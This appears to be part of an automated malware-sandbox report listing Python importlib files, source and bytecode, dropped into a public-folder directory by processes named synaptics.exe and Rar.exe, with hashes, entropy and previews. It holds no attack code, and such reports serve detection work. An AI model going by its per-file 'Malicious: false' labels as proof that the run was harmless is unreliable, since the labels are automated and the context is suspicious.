SHA1:	68C059B59A0FB1E697F56DE9894842E07EF549DB
SHA-256:	22455CCD2ECA0C0F032603FCEF28684DF795450E402C1E98AC8039AC9E6CA5E6
SHA-512:	6B04010B64BA3232CE1401DEA03FA97E12E374D168EA9F1E441B60D532F45B53D56814AC73EB78B0AE32C0F2CAAF0E2CDA802A8FF10E28D7EAA73CFAA6220874
Malicious:	false
Reputation:	low
Preview:	"""This module provides the components needed to build your own __import__..function. Undocumented functions are obsolete.....In most cases it is preferred you consider using the importlib module's..functionality over this module....."""..# (Probably) need to stay in _imp..from _imp import (lock_held, acquire_lock, release_lock,.. get_frozen_object, is_frozen_package,.. init_frozen, is_builtin, is_frozen,.. _fix_co_filename)..try:.. from _imp import create_dynamic..except ImportError:.. # Platform doesn't support dynamic loading... create_dynamic = None....from importlib._bootstrap import _ERR_MSG, _exec, _load, _builtin_from_name..from importlib._bootstrap_external import SourcelessFileLoader....from importlib import machinery..from importlib import util..import importlib..import os..import sys..import tokenize..import types..import warnings....warnings.warn("the imp module is deprecated in favour of importlib and slated "..

C:\Users\Public\QExvbmVOb25l\Lib\importlib\pycache\init.cpython-310.pyc.73896072

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3818
Entropy (8bit):	5.547983903948432
Encrypted:	false
SSDEEP:	96:6uKEn4Gs1xwkB8RpIXEz66QncxK1p9W0j+VZzmF2Q8yIcOr:QEk6oMK1a0j+DmF2QZIh
MD5:	FF1EAD2607B111C4B06B0E965F5C8C2A
SHA1:	1583368549A4421C080989F90C15D2140E6CACD1
SHA-256:	6E7D6B15FFEA62BFFB6C5888D2428C3EA6536B8BABC31AC698321076666B37E6
SHA-512:	B3D48741B95FA23AAB5CC329C679F401716E3E4C75D14C48A648C6227E7FACD45EA49CF90884B6F275E069FFF0A7C791B15416A5F397F051E0B0B9492C770B04
Malicious:	false
Reputation:	low
Preview:	o........'-dy........................@...sT...d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y)......d.d.l.m.Z...e...e.e.....Y.n.w.d.e._.d.e._.z.e...d.d...e._.W.n...e.yB......Y.n.w.e.e.j.d.<.z.d.d.l.Z.W.n...e.ye......d.d.l.m.Z...e...e.....e.e._.Y.n.w.d.e._.d.e._.z.e...d.d...e._.W.n...e.y~......Y.n.w.e.e.j.d.<.e.j.Z.e.j.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.d.d...Z.d.d.d...Z.i.Z.d.d...Z.d.S.).z'A pure Python implementation of import.)...__import__..import_module..invalidate_caches..reload.....N.....)..._bootstrapz.importlib._bootstrap..importlibz.__init__.pyz._bootstrap.py)..._bootstrap_externalz.importlib._bootstrap_externalz._bootstrap_external.py).r....c....................C...s"...t.j.D.].}.t.\|.d...r.\|.......q.d.S.).zmCall the invalidate_caches() method on all meta path finders stored in. sys.meta_path (where implemented).r....N)...sys..meta_path..hasattrr....)...finder..r.....6C:\Users\Public\QExvbmVOb25l\lib\importlib\__init__.pyr....A...s..............r....c....................C...s.

C:\Users\Public\QExvbmVOb25l\Lib\importlib\pycache\_abc.cpython-310.pyc.73833344

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1984
Entropy (8bit):	5.0264178323697895
Encrypted:	false
SSDEEP:	48:eGYO7KXEXsUXrqj9FXHRLSVRibTAsKhnsRyy:MrEXxXrqhFXHPTbIsZ
MD5:	2DB1553B7AE96769454D9D400C48AD48
SHA1:	60BD75D3937F08AADAD444DCFF8DAFE0D30BAAFD
SHA-256:	026487F41E4A286B91882F0C9EDF3BCF50D1FA30AD4E4FB7AFD7AACF9673BC74
SHA-512:	3FBE631210C0C7A039D4217676CEF3D6AEF15EDE1124A1973B5F29C518A91FCF3E6A767F2322586E33B4C5FEBE3C37CEA1840728DEF07AE53B2EA50A3D0125F9
Malicious:	false
Reputation:	low
Preview:	o........'-dr........................@...s8...d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.G.d.d...d.e.j.d...Z.d.S.).z>Subset of importlib.abc used to reduce importlib.util imports......)..._bootstrap.....Nc....................@...s(...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...Loaderz'Abstract base class for import loaders.c....................C...s....d.S.).z.Return a module to initialize and into which to load... This method should raise ImportError if anything prevents it. from creating a new module. It may return None to indicate. that the spec should create the new module.. N..)...self..specr....r.....2C:\Users\Public\QExvbmVOb25l\lib\importlib\_abc.py..create_module....s......z.Loader.create_modulec....................C...s....t.\|.d...s.t...t...\|.\|...S.).a....Return the loaded module... The module must be added to sys.modules and have import-related. attributes set properly. The fullname is a str... ImportError is raised on failure...

C:\Users\Public\QExvbmVOb25l\Lib\importlib\pycache\_adapters.cpython-310.pyc.70984832

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3716
Entropy (8bit):	4.669556921717515
Encrypted:	false
SSDEEP:	96:udiPhyWa11p/5cIBqNU79FhTEnKIgVFKOmuD79VsUKyO9WoK/UML9Qa:bhyWGfxxB99FhkKIgDKONrsUK39WoK/L
MD5:	36AD21764FD68E2A00257A3FBA2867BF
SHA1:	606CBE4365409C5ACE4D6CC4C9F51ABD3B7E14DC
SHA-256:	898956976FE8AAA0CD0C13D51D35C731E8D8D9508824070921FB589B9EE87100
SHA-512:	1349DC1FF11154372A1BE550EF78802B1B0BEB968FBD5D820473EE955A8318589A659341C15F8A8E03507FCFCC4896F1D5809D415EC344087D0ECBD4A736F633
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sN...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d...Z.G.d.d...d...Z.G.d.d...d...Z.d.d...Z.d.S.)......)...suppress.....)...abcc....................@...s(...e.Z.d.Z.d.Z.d.d...f.d.d...Z.d.d...Z.d.S.)...SpecLoaderAdapterz>. Adapt a package spec to adapt the underlying loader.. c....................C...s....\|.j.S...N)...loader....spec..r.....7C:\Users\Public\QExvbmVOb25l\lib\importlib\_adapters.py..<lambda>....s......z.SpecLoaderAdapter.<lambda>c....................C...s....\|.\|._.\|.\|...\|._.d.S.r....).r....r....)...selfr....Z.adapterr....r....r......__init__....s........z.SpecLoaderAdapter.__init__c....................C........t.\|.j.\|...S.r....)...getattrr......r......namer....r....r......__getattr__...........z.SpecLoaderAdapter.__getattr__N)...__name__..__module__..__qualname__..__doc__r....r....r....r....r....r....r........s............r....c....................@...s ...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.)...TraversableResourcesLoaderz9. Adapt a loader

C:\Users\Public\QExvbmVOb25l\Lib\importlib\pycache\_common.cpython-310.pyc.69949920

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	5.201595793085135
Encrypted:	false
SSDEEP:	48:MfiZ38jH+kP4PY+IewYalBABDu0ZLmJ2SOoHft3XlY2s03f/mm2vJviUeXrowab:MfipsH3ARwYali7ZL7dillY2s033mm2v
MD5:	EBF28ACC37484D41F7D7EE700F89BCBC
SHA1:	A38B160A3D94A83EC79F89ACA3B085768D239117
SHA-256:	5CDDAC3F6C6C0BCDD8DF2934703AF86BEA1B116B9FF47A108AF28C63D61673D0
SHA-512:	77086CCB56DFAF54ED58CFA240C1C786E542FBB1F736967BFE96F978B0A9BDFD5B014BBE972CDD54639DA7ACE1701D24B967EEE262675F85673C5641A672EA12
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.e.j.e.f...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.d.e.j.d...d.d.....Z.e.j.d.d.....Z.e...e.j...e.j.d.d.......Z d.S.)......N)...Union..Any..Optional.....)...ResourceReader..Traversable)...wrap_specc....................C...s....t.t.\|.....S.).z3. Get a Traversable resource from a package. )...from_package..get_package)...package..r.....5C:\Users\Public\QExvbmVOb25l\lib\importlib\_common.py..files....s......r....c....................C...s....t.\|...}.t.j...\|...\.}.}.\|.r.t.\|...d.......\|.S.).z.Normalize a path by ensuring it is a string... If the resulting string contains path separators, an exception is raised.. z. must be only a file name)...str..os..path..split..ValueError).r....Z.str_path..parent..file_namer....r....r......normalize_path....s..............r....c....................C...s*...\|.j.}.t.\|.j.d.d...}.\|.d.u

C:\Users\Public\QExvbmVOb25l\Lib\importlib\pycache\abc.cpython-310.pyc.61413440

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15904
Entropy (8bit):	5.108311815005808
Encrypted:	false
SSDEEP:	192:Ez1B5HGaViuYo8vEVbFCibM/50LbCb1EVMXS6O9PzXDPJ8OoEAuDdPTaX/DOWP6s:EVDVnR8gC/50LbjVMA9PrWCDaX/P6s
MD5:	6EB15404384F6EB937E5F4A25BAE639C
SHA1:	1CC389C0B2D905402C54AAB677142BBA304FE963
SHA-256:	B33CBA19B287E279540EA3D50945DFFF24C1117EE08CA53F7B3C49839C6252DC
SHA-512:	7CCF4B0A9FC3C3EA346FF51FB14755C78E49252DBA670FD60A359132A9E5C5EC1B431A8E3F849AB7792B895211C5AEE53EF2AC00F386EFCE750A45315EDD3871
Malicious:	false
Reputation:	low
Preview:	o........'-d.:.......................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.Z.W.n...e.y...Z...z.e.j.d.k.r"..d.Z.W.Y.d.Z.[.n.d.Z.[.w.w.z.d.d.l.Z.W.n...e.y@......e.Z.Y.n.w.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d...Z.G.d.d...d.e.j.d...Z.G.d.d...d.e.j.d...Z.e.e.e.j.e.j.e.j.e.j.....G.d.d...d.e.j.d...Z.e.e.e.j.....G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.e.j.e.j.....G.d.d...d.e...Z.e.e.e.j ....G.d.d...d.e.j!e.e...Z!e.e!e.j"e.j#....G.d.d...d.e.j$e.e...Z$e.e$e.j"....G.d.d...d.e.j.d...Z%e.G.d.d ..d e.....Z&G.d!d"..d"e%..Z'd.S.)#z(Abstract base classes related to import......)..._bootstrap_external)...machinery.....N.._frozen_importlib)...Loader)...BinaryIO..Iterable..Text)...Protocol..runtime_checkablec....................G...sZ...\|.D.](}.\|...\|.....t.d.u.r*z.t.t.\|.j...}.W.n...t.y$......t.t.\|.j...}.Y.n.w.\|...\|.....q.d.S...N)...registerr......getattr..__name__..AttributeError.._frozen_importlib_external).Z.abstract_clsZ.classes..clsZ.frozen_cls..r.....1C:\Users\Public

C:\Users\Public\QExvbmVOb25l\Lib\importlib\pycache\abc.cpython-310.pyc.74925936

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15904
Entropy (8bit):	5.108311815005808
Encrypted:	false
SSDEEP:	192:Ez1B5HGaViuYo8vEVbFCibM/50LbCb1EVMXS6O9PzXDPJ8OoEAuDdPTaX/DOWP6s:EVDVnR8gC/50LbjVMA9PrWCDaX/P6s
MD5:	6EB15404384F6EB937E5F4A25BAE639C
SHA1:	1CC389C0B2D905402C54AAB677142BBA304FE963
SHA-256:	B33CBA19B287E279540EA3D50945DFFF24C1117EE08CA53F7B3C49839C6252DC
SHA-512:	7CCF4B0A9FC3C3EA346FF51FB14755C78E49252DBA670FD60A359132A9E5C5EC1B431A8E3F849AB7792B895211C5AEE53EF2AC00F386EFCE750A45315EDD3871
Malicious:	false
Reputation:	low
Preview:	o........'-d.:.......................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.Z.W.n...e.y...Z...z.e.j.d.k.r"..d.Z.W.Y.d.Z.[.n.d.Z.[.w.w.z.d.d.l.Z.W.n...e.y@......e.Z.Y.n.w.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d...Z.G.d.d...d.e.j.d...Z.G.d.d...d.e.j.d...Z.e.e.e.j.e.j.e.j.e.j.....G.d.d...d.e.j.d...Z.e.e.e.j.....G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.e.j.e.j.....G.d.d...d.e...Z.e.e.e.j ....G.d.d...d.e.j!e.e...Z!e.e!e.j"e.j#....G.d.d...d.e.j$e.e...Z$e.e$e.j"....G.d.d...d.e.j.d...Z%e.G.d.d ..d e.....Z&G.d!d"..d"e%..Z'd.S.)#z(Abstract base classes related to import......)..._bootstrap_external)...machinery.....N.._frozen_importlib)...Loader)...BinaryIO..Iterable..Text)...Protocol..runtime_checkablec....................G...sZ...\|.D.](}.\|...\|.....t.d.u.r*z.t.t.\|.j...}.W.n...t.y$......t.t.\|.j...}.Y.n.w.\|...\|.....q.d.S...N)...registerr......getattr..__name__..AttributeError.._frozen_importlib_external).Z.abstract_clsZ.classes..clsZ.frozen_cls..r.....1C:\Users\Public

C:\Users\Public\QExvbmVOb25l\Lib\importlib\pycache\machinery.cpython-310.pyc.74893424

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	957
Entropy (8bit):	5.425235583484172
Encrypted:	false
SSDEEP:	12:C2kBAzUYcjBN/8XHmE16iGMwigQFM4u0LIX7OujdiXg8G94OlWRXqnrmHO28sVtP:UjoXT16iGMJgQFpAquj8G/OXsrmH58K
MD5:	DA06D21DDC1EAC2CA61D3875E276E0E6
SHA1:	FB8AC8D021A8BF74412C54D957ECFE7AF37D3415
SHA-256:	7703B4740A0600C45643AD3956896BAF39F83392015D2AC0ADE3782E674115C2
SHA-512:	193296CBD3645BDF6FE1B80BFE936782F65D1FC3D12C322D4F44BA3652740C155E098FB490CB919E81E21442171A3EB87689CD245D350D5C542219409ED18335
Malicious:	false
Reputation:	low
Preview:	o........'-dR........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d...Z.d.S.).z9The machinery of importlib: finders, loaders, hooks, etc......)...ModuleSpec)...BuiltinImporter)...FrozenImporter)...SOURCE_SUFFIXES..DEBUG_BYTECODE_SUFFIXES..OPTIMIZED_BYTECODE_SUFFIXES..BYTECODE_SUFFIXES..EXTENSION_SUFFIXES)...WindowsRegistryFinder)...PathFinder)...FileFinder)...SourceFileLoader)...SourcelessFileLoader)...ExtensionFileLoaderc....................C...s....t.t...t...S.).zAReturns a list of all recognized module suffixes for this process).r....r....r......r....r.....7C:\Users\Public\QExvbmVOb25l\lib\importlib\machinery.py..all_suffixes....s......r....N)...__doc__.._bootstrapr....r....r......_bootstrap_externalr....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r......<module>....s............................

C:\Users\Public\QExvbmVOb25l\Lib\importlib\pycache\readers.cpython-310.pyc.70930216

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5195
Entropy (8bit):	4.878952110496418
Encrypted:	false
SSDEEP:	96:yPv9CoTQ1zsquRgowzdmCbBavWMPTjTzKuhXBoPTl906kEt7IQ7ClEXsjMptAWrD:sQ1ztyvedlbB7IruuhXBoPTlK9EhIQOi
MD5:	76BB53375638FFA69573474BA7051154
SHA1:	4CCF8855DAF5E80016B6EC6BCD75FFCA2677E1CC
SHA-256:	C9540B4776B6CE764F16245863BE26AC0EC4A558D60048085726DCA64290661E
SHA-512:	1BC1149475DDA1B60C855997DAA897FDFAF12D9FECE033F23783EAEAF003FE863EC1909F9037D383716D756AAD97852D13E0A3D841CD78610C8CCC2D5A6A379E
Malicious:	false
Reputation:	low
Preview:	o........'-d~........................@...sx...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.S.)......N.....)...abcc....................C...s....t.t.j...\|.....S...N)...iter..collections..OrderedDict..fromkeys)...items..r.....5C:\Users\Public\QExvbmVOb25l\lib\importlib\readers.py..remove_duplicates...........r....c....................@....$...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...FileReaderc....................C...s....t...\|.j...j.\|._.d.S.r....)...pathlib..Path..path..parent)...self..loaderr....r....r......__init__....s......z.FileReader.__init__c....................C........t.\|.j...\|.....S...z{. Return the file system path to prevent. `resources.path()` from creating a temporary. copy.. ....strr......joinpath..r......resourcer....r....r......resource_path...........z.FileReader.resource_pathc....................C........\|.j.S.r......r......r....r....r....r......files...........z.FileRea

C:\Users\Public\QExvbmVOb25l\Lib\importlib\pycache\resources.cpython-310.pyc.70985280

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5382
Entropy (8bit):	5.3427306086604975
Encrypted:	false
SSDEEP:	96:ozYSudPIqJNGeMzW9dlfxVf0JJgFGx6qjBfjO6y3SnKL49oNhbMrhKgTlv:oJBnS9xVfSJgGx6AjI3SKyhRTlv
MD5:	355B8ACC990EB8BDB7DE27B48CE71264
SHA1:	B038521CD40697D8FBB1D41CB6E2EAFA971347ED
SHA-256:	E9DC0D672BC1EEF054731F8934870B61BEB1017E90DE2612C0F06FFA7638FEF3
SHA-512:	8A90CAAE1973D8340F6F1F799D5A0D6C457E42FBEA782374EA524D435F166D9A69467ED80DE6CB49A6AFE7F652F98247ABDF5F9299FB2110D3699930728732B3
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z e.e!e.f...Z"e.e!e.j#f...Z$d.e"d.e$d.e.f.d.d...Z%....d3d.e"d.e$d.e!d.e!d.e.f.d.d...Z&d.e"d.e$d.e'f.d.d...Z(....d3d.e"d.e$d.e!d.e!d.e!f.d.d ..Z)d.e"d.e$d.d!f.d"d#..Zd$d%..Z+d&d'..Z,d(d)..Z-d.e"de!d.e.f.d+d,..Z/d.e"d.e.e!..f.d-d...Z0e.d/d0....Z1e1.2e...d1d2....Z3d.S.)4.....N.....)..._common)...as_file..files)...ResourceReader)...suppress)...ResourceLoader)...ModuleSpec)...BytesIO..TextIOWrapper)...Path)...ModuleType)...ContextManager..Iterable..Union)...cast)...BinaryIO..TextIO)...Sequence)...singledispatch)...Package..Resourcer....r......contentsr......is_resource..open_binary..open_text..path..read_binary..read_text..package..resource..returnc....................C...s&...t...\|...}.t...\|...}.t...\|...}.\|.d.u.r.\|...\|...S.t.t.\|.j...}.\|

C:\Users\Public\QExvbmVOb25l\Lib\importlib\pycache\util.cpython-310.pyc.74426432

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9342
Entropy (8bit):	5.320515236210884
Encrypted:	false
SSDEEP:	192:TptTll1YVqQzvbab+Q3+LbcwE5lFz0w7/RhZT:Fbl1YVqoeb+QuLbpmFz06RhZT
MD5:	7DCA14AE783831BBD4B26FD6739B9A07
SHA1:	B36C9646AF55A5D70DAF83C497064E1F319AA5AB
SHA-256:	36CB19B2B54EF2381D6B12CF683D50E36C7FB65F540E72FA910E756F79C13C8A
SHA-512:	BB9711DCDE240D30A124D98D6968D9E9ED78E399AF29CFD76B32FAE07D8568208A51DE4E602CE377649C0D4125D3355F47E2823F640ED66A0B2E4F9C50E9F42B
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d...Z.d.d...Z.d$d.d...Z.d$d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.G.d d!..d!e.j...Z.G.d"d#..d#e...Z d.S.)%z-Utility code for constructing importers, etc......)...Loader)...module_from_spec)..._resolve_name)...spec_from_loader)..._find_spec)...MAGIC_NUMBER)..._RAW_MAGIC_NUMBER)...cache_from_source)...decode_source)...source_from_cache)...spec_from_file_location.....)...contextmanagerNc....................C...s....t...t.\|...S.).zBReturn the hash of source_bytes* as used in hash-based pyc files.)..._imp..source_hashr....)...source_bytes..r.....2C:\Users\Public\QExvbmVOb25l\lib\importlib\util.pyr........s......r....c....................C...s\...\|...d...s.\|.S.\|.s.t.d.t.\|.....d.......d.}.\|.D.].}.\|.d.k.r...n.\|.d.7.}.q.t.\|.\|.d.....\|.\|...S.).z2Resolve a rela

C:\Users\Public\QExvbmVOb25l\Lib\importlib\_abc.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1906
Entropy (8bit):	4.433036910849268
Encrypted:	false
SSDEEP:	24:7+Sd1gyYp8ImdaCtl27fisRiqITfqF6BSES5C+LOqqc8vbBLlZvI/iWnWuPQ:CS0207fisQqgqF2SEqxStLlhIqWW
MD5:	CBCCC8E431A338F393CCD4D3F244CCC5
SHA1:	77FF0ADCB6F35D675030BEC62BB55AA076692037
SHA-256:	C4376232DA9464A27B02A530473489486D570F25A063715F3AD5A24D92FFE527
SHA-512:	27F28525A50F068F9327613AE5A71FAE25984292ED9CDEDF92B93E9DE4E00E8121BD397E34C7E728E5849289285677ED88C43F6AB6EFB60DA36331E9C2E6CC0C
Malicious:	false
Reputation:	low
Preview:	"""Subset of importlib.abc used to reduce importlib.util imports."""..from . import _bootstrap..import abc..import warnings......class Loader(metaclass=abc.ABCMeta):.... """Abstract base class for import loaders.""".... def create_module(self, spec):.. """Return a module to initialize and into which to load..... This method should raise ImportError if anything prevents it.. from creating a new module. It may return None to indicate.. that the spec should create the new module... """.. # By default, defer to default semantics for the new module... return None.... # We don't define exec_module() here since that would break.. # hasattr checks we do to support backward compatibility..... def load_module(self, fullname):.. """Return the loaded module..... The module must be added to sys.modules and have import-related.. attributes set properly. The fullname is a str..... ImportError is raised on fa

C:\Users\Public\QExvbmVOb25l\Lib\importlib\_adapters.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1991
Entropy (8bit):	4.390505646801514
Encrypted:	false
SSDEEP:	48:0i644hrdO2kdSNH1UKetWEeF6kKznFEjRWOem++bPnn3kVqf:B644hrU2kwDL16kGCVWOHNznMqf
MD5:	5C775988B17A8E77726D985B2FE1284C
SHA1:	DC9FA37CDF9F1EC1045B16BEE536C1D54C488539
SHA-256:	F338A91DEEF0B819B408D7BAEA338D637B817A69B3270A6608ACF79EF9ED700A
SHA-512:	A88F3248FA18787B4D98F50EADC5DED6AC4D7B09A8B618C1CE8D440A3FC2B28B8DE00AAAE8338840549C77F92E01F6D12F02C4940FD350BC96EE2AE041E12DCA
Malicious:	false
Reputation:	low
Preview:	from contextlib import suppress....from . import abc......class SpecLoaderAdapter:.. """.. Adapt a package spec to adapt the underlying loader... """.... def __init__(self, spec, adapter=lambda spec: spec.loader):.. self.spec = spec.. self.loader = adapter(spec).... def __getattr__(self, name):.. return getattr(self.spec, name)......class TraversableResourcesLoader:.. """.. Adapt a loader to provide TraversableResources... """.... def __init__(self, spec):.. self.spec = spec.... def get_resource_reader(self, name):.. return DegenerateFiles(self.spec)._native()......class DegenerateFiles:.. """.. Adapter for an existing or non-existant resource reader.. to provide a degenerate .files()... """.... class Path(abc.Traversable):.. def iterdir(self):.. return iter(()).... def is_dir(self):.. return False.... is_file = exists = is_dir # type: ignore.... def joinpa

C:\Users\Public\QExvbmVOb25l\Lib\importlib\_bootstrap.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	42676
Entropy (8bit):	4.491854158137825
Encrypted:	false
SSDEEP:	768:1eKvy2ADZIwUMAfvkUFlXppkl89q/5R5B/miJ5j2:DDCUdfvkUC72
MD5:	03A827AAC6D6D4EBEA01D384EAA30F32
SHA1:	81ADE09B0AEADF4B2721F56BE11E75E453192B45
SHA-256:	B300CE18C15FD539F099883AEDC24B1A91E5C35B581EFDBB9E21D638A4EC82E5
SHA-512:	B0B3BA998638A3CF0C8A8DF4D9B678FBF4D92AC387064151A6D7DF3179103CC5B4C417146CEF6D3E1120658672807AA89BC92867DF7A7C7022DD26A6FF361A80
Malicious:	false
Reputation:	low
Preview:	"""Core implementation of import.....This module is NOT meant to be directly imported! It has been designed such..that it can be bootstrapped into Python as the implementation of import. As..such it requires the injection of specific modules and attributes in order to..work. One should use importlib as the public-facing version of this module....."""..#..# IMPORTANT: Whenever making changes to this module, be sure to run a top-level..# `make regen-importlib` followed by `make` in order to get the frozen version..# of the module updated. Not doing so will result in the Makefile to fail for..# all others who don't have a ./python around to freeze the module..# in the early stages of compilation...#....# See importlib._setup() for what is injected into the global namespace.....# When editing this code be aware that code executed at import time CANNOT..# reference any injected objects! This includes not only global code but also..# anything specified at the class level.....def _object_name

C:\Users\Public\QExvbmVOb25l\Lib\importlib\_bootstrap_external.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	66536
Entropy (8bit):	4.677552891760068
Encrypted:	false
SSDEEP:	768:iKsoAmFqJ4QFhE/tn5k0feP1tO4o4MCxl6knccZ/76RlgSHvflx3ov:txc4QF8tn5yM4B6kccZzILP+
MD5:	B6ED9264CB6BA04A6F439723C05F3072
SHA1:	0B8B9604896114FE1F5FB76087BAADCFED21D334
SHA-256:	CD9B77650B59135A764C6A536151673D4130BD88C9171223376D19CE5B971B77
SHA-512:	384439A20C07A730CFB4E8DAB9793D726157DF2760A3D4A6C95C3F9E02DEC52EF1FCB500D1CC9E5386D705FAB4091F4EBA2848BD2055F51D7F7F44C7DB66C084
Malicious:	false
Reputation:	low
Preview:	"""Core implementation of path-based import.....This module is NOT meant to be directly imported! It has been designed such..that it can be bootstrapped into Python as the implementation of import. As..such it requires the injection of specific modules and attributes in order to..work. One should use importlib as the public-facing version of this module....."""..# IMPORTANT: Whenever making changes to this module, be sure to run a top-level..# `make regen-importlib` followed by `make` in order to get the frozen version..# of the module updated. Not doing so will result in the Makefile to fail for..# all others who don't have a ./python around to freeze the module in the early..# stages of compilation...#....# See importlib._setup() for what is injected into the global namespace.....# When editing this code be aware that code executed at import time CANNOT..# reference any injected objects! This includes not only global code but also..# anything specified at the class level.....# Module

C:\Users\Public\QExvbmVOb25l\Lib\importlib\_common.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3340
Entropy (8bit):	4.6745746844172285
Encrypted:	false
SSDEEP:	96:C15GjAcQmz/EgZIyHf4Dd2juC6cO2HEzIX9SkqR8E:CowI/VLf452t6aHEzIX9S1R8E
MD5:	97023E935E8C794384CC5651D2A64F28
SHA1:	67B8407421BC914FDEC799FF161D4131454ED372
SHA-256:	F2ED6530F455FA56E1BCF69BB85553D72B2013933624533AFA69A874EB67AE00
SHA-512:	A0B82EF0EAA82D2F91763648086EE4046D7149BC2E3FA3A34A52A381CE8CD9BEBA5DBADBE71A9BFA012B239B849F403B092D3B0A90F542C6D0CEBD3D603804C4
Malicious:	false
Reputation:	low
Preview:	import os..import pathlib..import tempfile..import functools..import contextlib..import types..import importlib....from typing import Union, Any, Optional..from .abc import ResourceReader, Traversable....from ._adapters import wrap_spec....Package = Union[types.ModuleType, str]......def files(package):.. # type: (Package) -> Traversable.. """.. Get a Traversable resource from a package.. """.. return from_package(get_package(package))......def normalize_path(path):.. # type: (Any) -> str.. """Normalize a path by ensuring it is a string..... If the resulting string contains path separators, an exception is raised... """.. str_path = str(path).. parent, file_name = os.path.split(str_path).. if parent:.. raise ValueError(f'{path!r} must be only a file name').. return file_name......def get_resource_reader(package):.. # type: (types.ModuleType) -> Optional[ResourceReader].. """.. Return the package's loader if it's a ResourceReader...

C:\Users\Public\QExvbmVOb25l\Lib\importlib\abc.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14863
Entropy (8bit):	4.500827376021012
Encrypted:	false
SSDEEP:	192:JL/+/DsHY+mmxtRIE8O1gIjyyroF8M1470fY7GTDHv+RI+oe+:RGMY+mg9dyqMw7Esu
MD5:	1C219A984C22F7CEFDF4658FF6F7717A
SHA1:	C4C4B39D02F10989A0256612C59E8E35B808D99C
